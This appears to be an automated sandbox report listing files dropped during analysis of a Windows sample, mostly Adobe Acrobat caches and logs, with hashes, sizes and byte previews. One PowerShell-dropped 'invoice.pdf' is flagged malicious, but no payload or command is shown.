SHA-512:	381BE3A045CDD223C25D8B932FFA6EA9824E118B203A8D71486F4A2FF088ABBDE969D7C7F81A1287A742FB5ED6D131C627ED8EAFE40BA5EC7B587437A31CF854
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	1.7812682949104137
Encrypted:	false
SSDEEP:	24:7+tEktl3KaiZ3FL63FLesb+sZobF16R6FdpqpQ6YuK//EXSqXlyGKaiIqLhx/XYE:7MEMKB0M0+Tb608YZrGKUqFl2GL7msZ
MD5:	0F03EB86E3FB10E5AF5A20DDAA834B24
SHA1:	7989833F4FC4EADFCADB0F98ECCD313B131BD195
SHA-256:	59F47731E52C0995E823B5E5A946C8132AECFEDF31F691E11FD3C9D93B8B165A
SHA-512:	6372260F532680143A164FFECA1B4C1B87B3EB5EF35C2BD8439EBD5AA3D1449D8100B72D5B56DE4018B5DD2263B36F7623B608E5D40253D8FD37BF62ACF488A8
Malicious:	false
Preview:	.... .c.......r...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................^..^.^.^.^.^.^.^.p.p.p.p.p.p.p.p.p.p..........................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\UserCache64.bin

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	66726
Entropy (8bit):	5.392739213842091
Encrypted:	false
SSDEEP:	768:RNOpblrU6TBH44ADKZEgirtwYc52wAkm/GkvhulrjdCJIYyu:6a6TZ44ADErUwOGkvhudjdSIK
MD5:	020AEDC9D418BEB19391D4187D0C40DA
SHA1:	1D3FC369C5C59C03541C5B40E80866C80FF6ED31
SHA-256:	D604DD9766714DB7C3997A55779C0A4F08052D47BC86AE7012F64B3C6CFF42FF
SHA-512:	103FFFC18DB6E4A9F102DFE597F477B4A1C7F847435865E26B1C39D918456AA0B3BF9BD0BBC69633106AF4962AC4CFB45476D06193AE388068F224B0E7890441
Malicious:	false
Preview:	4.397.90.FID.2:o:..........:F:AgencyFB-Reg.P:Agency FB.L:$.........................."F:Agency FB.#.96.FID.2:o:..........:F:AgencyFB-Bold.P:Agency FB Bold.L:%.........................."F:Agency FB.#.84.FID.2:o:..........:F:Algerian.P:Algerian.L:$..........................RF:Algerian.#.95.FID.2:o:..........:F:ArialNarrow.P:Arial Narrow.L:$.........................."F:Arial Narrow.#.109.FID.2:o:..........:F:ArialNarrow-Italic.P:Arial Narrow Italic.L:$.........................."F:Arial Narrow.#.105.FID.2:o:..........:F:ArialNarrow-Bold.P:Arial Narrow Bold.L:%.........................."F:Arial Narrow.#.118.FID.2:o:..........:F:ArialNarrow-BoldItalic.P:Arial Narrow Bold Italic.L:%.........................."F:Arial Narrow.#.77.FID.2:o:..........:F:ArialMT.P:Arial.L:$.........................."F:Arial.#.91.FID.2:o:..........:F:Arial-ItalicMT.P:Arial Italic.L:$.........................."F:Arial.#.87.FID.2:o:..........:F:Arial-BoldMT.P:Arial Bold.L:$.........................."F:Arial.#.100.FID.2

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1940658735648508
Encrypted:	false
SSDEEP:	3:Nlllulbnolz:NllUc
MD5:	F23953D4A58E404FCB67ADD0C45EB27A
SHA1:	2D75B5CACF2916C66E440F19F6B3B21DFD289340
SHA-256:	16F994BFB26D529E4C28ED21C6EE36D4AFEAE01CEEB1601E85E0E7FDFF4EFA8B
SHA-512:	B90BFEC26910A590A367E8356A20F32A65DB41C6C62D79CA0DDCC8D95C14EB48138DEC6B992A6E5C7B35CFF643063012462DA3E747B2AA15721FE2ECCE02C044
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\MSIdd827.LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	246
Entropy (8bit):	3.524398495091119
Encrypted:	false
SSDEEP:	6:Qgl946caEbiQLxuZUQu+lEbYnuoblv2K8EebClEkflH:Qw946cPbiOxDlbYnuRK+bDkflH
MD5:	ED310C7953D93CCAF1F615DB1F30EFAE
SHA1:	B6EFA6CA2F2D1CC47ED57D7D13B9249357C0C2A6
SHA-256:	72D12F1247D00068062243FF87B906E9933CC5EBB0451CB560A159AB9B3A80F8
SHA-512:	0A86C509BBDA805253B1A537F49AA05CD343F5678C2714CEE2F8A944310CCB1DBC53AB25AA430526BBA5829CF316B8213B6A618859460055D20D0BDCFC306904
Malicious:	false
Preview:	..E.r.r.o.r. .2.7.1.1...T.h.e. .s.p.e.c.i.f.i.e.d. .F.e.a.t.u.r.e. .n.a.m.e. .(.'.A.R.M.'.). .n.o.t. .f.o.u.n.d. .i.n. .F.e.a.t.u.r.e. .t.a.b.l.e.......=.=.=. .L.o.g.g.i.n.g. .s.t.o.p.p.e.d.:. .1.0./.0.1./.2.0.2.5. . .1.9.:.5.6.:.3.2. .=.=.=.....

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_2v4assy2.ci1.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nfkygtww.dgt.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9178kvy9_1ljfmv0_4rc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\A9ouw3wa_1ljfmux_4rc.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	Zip data (MIME type "application/vnd.adobe.air-ucf-package+zip"?)
Category:	dropped
Size (bytes):	144514
Entropy (8bit):	7.992637131260696
Encrypted:	true
SSDEEP:	3072:OvjeSq37BcXWpJ/PwBI4lsRMoZVaJctHtTx8EOyhnL:Cjc7BcePUsSSt38snL
MD5:	BA1716D4FB435DA6C47CE77E3667E6A8
SHA1:	AF6ADF9F1A53033CF28506F33975A3D1BC0C4ECF
SHA-256:	AD771EC5D244D9815762116D5C77BA53A1D06CEBA42D348160790DBBE4B6769D
SHA-512:	65249DB52791037E9CC0EEF2D07A9CB1895410623345F2646D7EA4ED7001F7273C799275C3342081097AF2D231282D6676F4DBC4D33C5E902993BE89B4A678FD
Malicious:	false
Preview:	PK.........D.Y...>)...).......mimetypeapplication/vnd.adobe.air-ucf-package+zipPK.........D.Y.+.`............message.xml.]is.8...[.....Oq.'...S...g.X+;....%X."U$.....}.P.%....8.tl. ...../..}......A.......,...a...r.....=..i{......0H..v.g.c0.3~....G.b....,.BvJ.'./.`xJ]..O./.!K...XG?.$.,=.Z...q.f~...,..:b.Pl..f..\|....,.A.....Z..a<.C._..../G\|....q.....~.?...G.............y+.. ...s.,.2...^uon..:....~....C....i.>.<hy..x..?....F.w..4e.\|.'...#?..a......i...W.".+...'.......,..6..... ..}.........llj.>.3v.."..CdA.".....v...4H..C]>........4..$.O........9._..C{(....A~.k...f.x8.<... l!..}...ol.q.......2.s.Y..&:....>...l.S..w.t^D.C....]0......L...z[`J<.....L.1t-.Z.n..7.)...aj;.0.r\|.._.V......JWT.>.p.?s....boN.....X.jkN.9..3jN.9..t...o..c.nX4......0.D.....Cv .....!k..........d.1B....=3.Bq.E.bo.....6..r..6@.b...T......Ig...(..(K].:...#..k..q2G."o.Tz...qJ.......;?\|~..1...J...RA...'..*C...T...dNMZ.3.z-..LCI..I..-.,.Y.J.....m.KY}.Lw......G........-.(E....b..^..}..

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6 2025-01-10 19-56-27-052.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393)
Category:	dropped
Size (bytes):	16525
Entropy (8bit):	5.361022727805069
Encrypted:	false
SSDEEP:	384:cBD67lQV4j1MOuD/btX+wknz+fzTqyorqz3tVFr84AbAYpfFWbWt+Fjwn0z5O+Wf:4M5
MD5:	70A2D078BEFD5E910EE035832171B399
SHA1:	1AB91914ECD7852E512C73437D30013594A16FB0
SHA-256:	2B55DE84E5446FD295128DAD5827122E98AC784F96A1F422B711B14E8F7DB1ED
SHA-512:	9FF36D4E320A8791AB0B87F24CAB4CBE777D9E8A3A64D26AF419132CDFDFCCD9A253EE9854032C4C87C546187951077F869CBCBDC9513278C557FC4895C7DBBC
Malicious:	false
Preview:	SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:158+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1".SessionID=1936179e-ff16-44f8-b471-8d99801d7fe3.1696501837158 Timestamp=2023-10-05T12:30:37:159+0200 ThreadID=4884 Component=ngl-lib_NglAppLib Description="SetConfig:

C:\Users\user\AppData\Local\Temp\acrobat_sbx\NGL\NGLClient_AcrobatReader123.6.20320.6.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with very long lines (393), with CRLF line terminators
Category:	dropped
Size (bytes):	15114
Entropy (8bit):	5.347726312417015
Encrypted:	false
SSDEEP:	384:nfD+DDCkEOxBkuqhWMh7sKzqiJCUS5pbwfmSAo4EsT5scW4uup5XoHoRVfVFV8tH:Ko0/o
MD5:	DC61CE6CF6F282C248EFE1F0DAF3EE86
SHA1:	733D04D1BD4B241A880631D96A635D0E08A4A52A
SHA-256:	F1D8DA4611294109E6A8342C5E89BA2FAF274B00A67AC3DBB08512A8C2606056
SHA-512:	582D062A0CB8D73A891E82C134BDB1B88A59F1D05BD6E08B0624B087477404DA94EDF4DB2FEAEB278E40D38EB369AA92942390B191878FE2409E3A8235D247A1
Malicious:	false
Preview:	SessionID=e08b05a1-0797-45a1-8454-39381239fe6e.1736556987086 Timestamp=2025-01-10T19:56:27:086-0500 ThreadID=8348 Component=ngl-lib_NglAppLib Description="-------- Initializing session logs --------"..SessionID=e08b05a1-0797-45a1-8454-39381239fe6e.1736556987086 Timestamp=2025-01-10T19:56:27:088-0500 ThreadID=8348 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: No operating configs found"..SessionID=e08b05a1-0797-45a1-8454-39381239fe6e.1736556987086 Timestamp=2025-01-10T19:56:27:088-0500 ThreadID=8348 Component=ngl-lib_kOperatingConfig Description="GetRuntimeDetails: Fallback to NAMED_USER_ONLINE!!"..SessionID=e08b05a1-0797-45a1-8454-39381239fe6e.1736556987086 Timestamp=2025-01-10T19:56:27:088-0500 ThreadID=8348 Component=ngl-lib_NglAppLib Description="SetConfig: OS Name=WINDOWS_64, OS Version=10.0.19045.1"..SessionID=e08b05a1-0797-45a1-8454-39381239fe6e.1736556987086 Timestamp=2025-01-10T19:56:27:088-0500 ThreadID=8348 Component=ngl-lib_NglAppLib Description="SetConf

C:\Users\user\AppData\Local\Temp\acrobat_sbx\acroNGLLog.txt

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	29752
Entropy (8bit):	5.40513115413897
Encrypted:	false
SSDEEP:	192:zcbaIGkcbIcbiIICcbBOQQ0fQNCHPaPOhWPOA3mbSAcbsGC9GZPOdIzZMJzV3Zm/:EGvIcNYdxFUH
MD5:	B82A0833477939F747B7B44416D0287D
SHA1:	F9D56B7AF4EADE60489F5E4B7324EE5F551806D9
SHA-256:	E6451B0CF1F55826DFD9A78C7DB747153531B4F0640EC82148210001FD144907
SHA-512:	92DBFC0F9DB59FC5A7E3FEF22B7855948039286DB2A2AC3EFE74E0A35772DF1C5C056E2F25AFAFC04C6A0BDF8537CE0895F1B76615F3DFE38D79BC4ED72C19FD
Malicious:	false
Preview:	05-10-2023 11:50:33:.---2---..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : *************************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : ***********************************..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : **** Starting new session ******..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Starting NGL..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : Setting synchronous launch...05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 ::::: Configuring as AcrobatReader1..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppVersion 23.6.20320.6..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : NGLAppMode NGL_INIT..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : AcroCEFPath, NGLCEFWorkflowModulePath - C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1 C:\Program Files\Adobe\Acrobat DC\Acrobat\NGL\cefWorkflow..05-10-2023 11:50:33:.AcroNGL Integ ADC-4240758 : isNGLExternalBrowserDisabled - No..05-10-2023 11:50:33:.Closing File..05-10-

C:\Users\user\AppData\Local\Temp\acrocef_low\1f8dcbf3-4700-468f-b6cc-dc2f73aa0e09.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 299538
Category:	dropped
Size (bytes):	758601
Entropy (8bit):	7.98639316555857
Encrypted:	false
SSDEEP:	12288:ONh3P65+Tegs6121YSWBlkipdjuv1ybxrr/IxkB1mabFhOXZ/fEa+vTJJJJv+9U0:O3Pjegf121YS8lkipdjMMNB1DofjgJJg
MD5:	3A49135134665364308390AC398006F1
SHA1:	28EF4CE5690BF8A9E048AF7D30688120DAC6F126
SHA-256:	D1858851B2DC86BA23C0710FE8526292F0F69E100CEBFA7F260890BD41F5F42B
SHA-512:	BE2C3C39CA57425B28DC36E669DA33B5FF6C7184509756B62832B5E2BFBCE46C9E62EAA88274187F7EE45474DCA98CD8084257EA2EBE6AB36932E28B857743E5
Malicious:	false
Preview:	...........kWT..0...W`.........b..@..nn........5.._..I.R3I..9g.x....s.\+.J......F...P......V]u......t....jK...C.fD..]..K....;......y._.U..}......S.........7...Q.............W.D..S.....y......%..=.....e..^.RG......L..].T.9.y.zqm.Q]..y..(......Q]..~~..}..q...@.T..xI.B.L.a.6...{..W..}.mK?u...5.#.{...n...........z....m^.6!.`.....u...eFa........N....o..hA-..s.N..B.q..{..z.{=..va4_`5Z........3.uG.n...+...t...z.M."2..x.-...DF..VtK.....o]b.Fp.>........c....,..t..an[............5.1.(}..q.q......K3.....[>..;e..f.Y.........mV.cL...]eF..7.e.<.._.o\.S..Z...`..}......>@......\|.......ox.........h.......o....-Yj=.s.g.Cc\.i..\..A.B>.X..8`...P......[..O...-.g...r..u\...k..7..#E....N}...8.....(..0....w....j.......>.L....H.....y.x3...[>..t......0..z.qw..]X..i8..w.b..?0.wp..XH.A.[.....S..g.g..I.A.15.0?._n.Q.]..r8.....l..18...(.].m...!\|G.1...... .3.`./....`~......G.............\|..pS.e.C....:o.u_..oi.:..\|....joi...eM.m.K...2%...Z..j...VUh..9.}.....

C:\Users\user\AppData\Local\Temp\acrocef_low\4fc14bdf-04fc-4f98-8c39-2f931c084230.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 5111142
Category:	dropped
Size (bytes):	1419751
Entropy (8bit):	7.976496077007677
Encrypted:	false
SSDEEP:	24576:/xTwYIGNPgeWL07oYGZ1dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07D:JTwZG/WLxYGZN3mlind9i4ufFXpAXkru
MD5:	DAB0D55487947A8C00DEFEB1863E5D52
SHA1:	CA21AE7C3A6C3B75C5FEE6CC45E57F4F8E9AAD6A
SHA-256:	915AF8947C717264BA12E43919E2AED3846C3C312EE46DFEE18A7F40BE119623
SHA-512:	A6C1268A6C488495C2D07A90F498014192501A27D4A597C20644F5C95D3E4A7777D8E884F13DA9933B8D5C399499C98BDE94988467F79BF11B4391869ACFAF17
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\acrocef_low\8961f958-35f7-4227-a11a-04a8fdae1e6e.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 1311022
Category:	dropped
Size (bytes):	386528
Entropy (8bit):	7.9736851559892425
Encrypted:	false
SSDEEP:	6144:8OSTJJJJEQ6T9UkRm1lBgI81ReWQ53+sQ36X/FLYVbxrr/IxktOQZ1mau4yBwsOo:sTJJJJv+9UZX+Tegs661ybxrr/IxkB1m
MD5:	5C48B0AD2FEF800949466AE872E1F1E2
SHA1:	337D617AE142815EDDACB48484628C1F16692A2F
SHA-256:	F40E3C96D4ED2F7A299027B37B2C0C03EAEEE22CF79C6B300E5F23ACB1EB31FE
SHA-512:	44210CE41F6365298BFBB14F6D850E59841FF555EBA00B51C6B024A12F458E91E43FDA3FA1A10AAC857D4BA7CA6992CCD891C02678DCA33FA1F409DE08859324
Malicious:	false
Preview:	...........]s[G. Z...{....;...J$%K&..%.[..k...S....$,.`. )Z..m........a.......o..7.VfV...S..HY}Ba.<.NUVVV~W.].;qG4..b,N..#1.=1.#1..o.Fb.........IC.....Z...g_~.OO.l..g.uO...bY.,[..o.s.D<..W....w....?$4..+..%.[.?..h.w<.T.9.vM.!..h0......}..H..$[...lq,....>..K.)=..s.{.g.O...S9".....Q...#...+..)>=.....\|6......<4W.'.U.j$....+..=9...l.....S..<.\.k.'....{.1<.?..<..uk.v;.7n.!...g....."P..4.U........c.KC..w._G..u..g./.g....{'^.-\|..h#.g.\.PO.\|...]x..Kf4..s..............+.Y.....@.K....zI..X......6e?[..u.g"{..h.vKbM<.?i6{%.q)i...v..<P8P3.......CW.fwd...{:@h...;........5..@.C.j.....a.. U.5...].$.L..wW....z...v.......".M.?c.......o..}.a.9..A..%V..o.d....'..\|m.WC.....\|.....e.[W.p.8...rm....^..x'......5!...\|......z..#......X_..Gl..c..R..`...*.s-1f..]x......f...g...k........g....... ).3.B..{"4...!r....v+As...Zn.]K{.8[..M.r.Y..........+%...]...J}f]~}_..K....;.Z.[..V.&..g...>...{F..{I..@~.^.\|P..G.R>....U..../HY...(.z.<.~.9OW.Sxo.Y

C:\Users\user\AppData\Local\Temp\acrocef_low\a86b36cf-9014-4e91-8923-f30d43f3b3a7.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	gzip compressed data, from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 33081
Category:	dropped
Size (bytes):	1407294
Entropy (8bit):	7.97605879016224
Encrypted:	false
SSDEEP:	24576:/xA7o5dpy6mlind9j2kvhsfFXpAXDgrFBU2/R07/WLaGZDwYIGNPJe:JVB3mlind9i4ufFXpAXkrfUs0jWLaGZo
MD5:	A0CFC77914D9BFBDD8BC1B1154A7B364
SHA1:	54962BFDF3797C95DC2A4C8B29E873743811AD30
SHA-256:	81E45F94FE27B1D7D61DBC0DAFC005A1816D238D594B443BF4F0EE3241FB9685
SHA-512:	74A8F6D96E004B8AFB4B635C0150355CEF5D7127972EA90683900B60560AA9C7F8DE780D1D5A4A944AF92B63C69F80DCDE09249AB99696932F1955F9EED443BE
Malicious:	false
Preview:	...........[.s.8..}.....!#..gw.n.`uNl.f6.3....d%EK.D["...#.......!)...r.$.G.......Z..u.._>.~....^e..<..u..........._D.r.Z..M.:...$.I..N.....\`.B.wj...:...E\|.P..$ni.{.....T.^~<m-..J....RQk....f.....q.......V.rC.M.b.DiL\.....wq....$&j....O.........~.U.+..So.]..n..#OJ..p./..-......<...5..WB.O....i....<./T.P.L.;.....h.ik..DT...<...j..o..fz~..~."...w&.fB...4..@[.g.......Y.>/M.".....-..N.{.2.....\....h..ER..._..(.-..o97..[.t:..>..W..0.....u...?.%...1u..fg..`.Z.....m ~.GKG.q{.vU.nr..W.%.W..#z..l.T......1.....}.6......D.O...:....PX.........R.....j.WD).M..9.Fw...W.-a..z.l\..u.^....L..^.`.T...l.^.B.DMc.d....i...o.\|M.uF\|.nQ.L.E,.b!..NG.....<...J......g.o....;&5..'a.M...l..1.V.iB2.T._I....".+.W.yA ._.......<.O......O$."C....n!H.L`..q.....5..~./.._t.......A....S..3........Q[..+..e..P;...O...x~<B........'.)...n.$e.m.:...m.....&..Y.".H.s....5.9..A5)....s&.k0,.g4.V.K.,.e....5...X.}6.P....y\.s\|..Si..BB..y...~.....D^g...7'T-.5.!K.$\...2.

C:\Users\user\AppData\Local\Temp\invoice.pdf

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	PDF document, version 1.7
Category:	dropped
Size (bytes):	635764
Entropy (8bit):	7.929592005409041
Encrypted:	false
SSDEEP:	12288:+ZLfaHa9wphzjERQ/JTckor+EURE+AwAX75pfGJKsKca+e7lEjYQ:+ZyjgQRRor+lRJAwAXlpoKgQ76jYQ
MD5:	91A2AF9E2A61ABF7D9977999FBF9879E
SHA1:	F6E4FA02DD15B27F74553FB1B220A4D2DF385267
SHA-256:	FC3518D746CDB3738DA976551795B9727619F41F89AC0641533126E2F69B969A
SHA-512:	8B27CC0E0E902ABB59735FF4FC67789C0F0F9A1BF3F619A7AFAEAAA13A9AFCF9C82F25596719A65EC15221EBAE16EF9701CDB48F372BBF1BE08CB568DBE41D7C
Malicious:	true
Preview:	%PDF-1.7.%.....1 0 obj.<< /Pages 3 0 R /Type /Catalog >>.endobj.2 0 obj.<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>.stream.x.3V0.Q.w./.+Q0T...L)V.V0Q0P.R.U...,HU..HLO-V.....%0.mendstream.endobj.4 0 obj.<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>.endobj.5 0 obj.<< /Filter /FlateDecode /Length 75 >>.stream.x.3T0.B]C aab.gi....U.e...E........\ E..&@yC.:.l.B.W.B!P9D..~...K>W ...&...endstream.endobj.6 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>.endobj.7 0 obj.<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>.stream.x.+..T(..O/6PH/.*.2.4.4S0.B]......H...O..S.04Tp....B.....endstream.endobj.8 0 obj.<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>.endobj.9 0 obj.<< /BitsPerCo

C:\Users\user\AppData\Roaming\Adobe\Acrobat\DC\Security\CRLCache\915DEAC5D1E15E49646B8A94E04E470958C9BB89.crl

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	data
Category:	dropped
Size (bytes):	98682
Entropy (8bit):	6.445287254681573
Encrypted:	false
SSDEEP:	1536:0tlkIi4M2MXZcFVZNt0zfIagnbSLDII+D61S8:03kf4MlpyZN+gbE8pD61L
MD5:	7113425405A05E110DC458BBF93F608A
SHA1:	88123C4AD0C5E5AFB0A3D4E9A43EAFDF7C4EBAAF
SHA-256:	7E5C3C23B9F730818CDC71D7A2EA01FE57F03C03118D477ADB18FA6A8DBDBC46
SHA-512:	6AFE246B0B5CD5DE74F60A19E31822F83CCA274A61545546BDA90DDE97C84C163CB1D4277D0F4E0F70F1E4DE4B76D1DEB22992E44030E28EB9E56A7EA2AB5E8D
Malicious:	false
